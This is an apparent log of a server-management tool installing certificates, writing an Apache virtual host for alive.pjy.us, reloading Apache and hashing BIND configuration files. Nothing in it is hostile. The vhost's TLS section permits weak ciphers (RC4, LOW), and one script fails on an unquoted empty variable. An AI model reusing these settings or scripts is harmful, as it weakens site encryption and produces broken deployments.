G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-07-12 19:27:11: 

chmod 755 /tmp/pkp406069; /tmp/pkp406069; rm /tmp/pkp406069

2026-07-12 19:27:12: 


dir=/etc/ssl/certs


2026-07-12 19:27:12: 

PUT: /tmp/pkp514527

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_alive_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_alive_us.conf
DOCROOT=
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	alive.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_alive
    <Directory /var/www/pjy_alive>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/alive_access.log combined
    ErrorLog	/var/log/apache2/pjy/alive_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	alive.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
    DocumentRoot	/var/www/pjy_alive
    <Directory /var/www/pjy_alive>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/alive_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/alive_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/pjy_alive_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_alive_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_alive_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_alive_us.conf= 1'
fi


2026-07-12 19:27:12: 

chmod 755 /tmp/pkp514527; /tmp/pkp514527; rm /tmp/pkp514527

2026-07-12 19:27:12: 


/tmp/pkp514527: line 58: [: !=: unary operator expected




STDERR:
/tmp/pkp514527: line 58: [: !=: unary operator expected


2026-07-12 19:27:12: 

PUT: /tmp/pkp619831

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-07-12 19:27:13: 

chmod 755 /tmp/pkp619831; /tmp/pkp619831; rm /tmp/pkp619831

2026-07-12 19:27:13: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-12 19:27:13: Establishing a connection
2026-07-12 19:27:13: 

PUT: /tmp/pkp675801

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-12 19:27:13: 

runuser -l bind -s /bin/bash -c '/tmp/pkp675801; rm /tmp/pkp675801'

2026-07-12 19:27:14: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 58b6b8ae4641dbacd44268075f2a555a
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-12 19:28:05: Establishing a connection
2026-07-12 19:28:05: 

PUT: /tmp/pkp588927

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
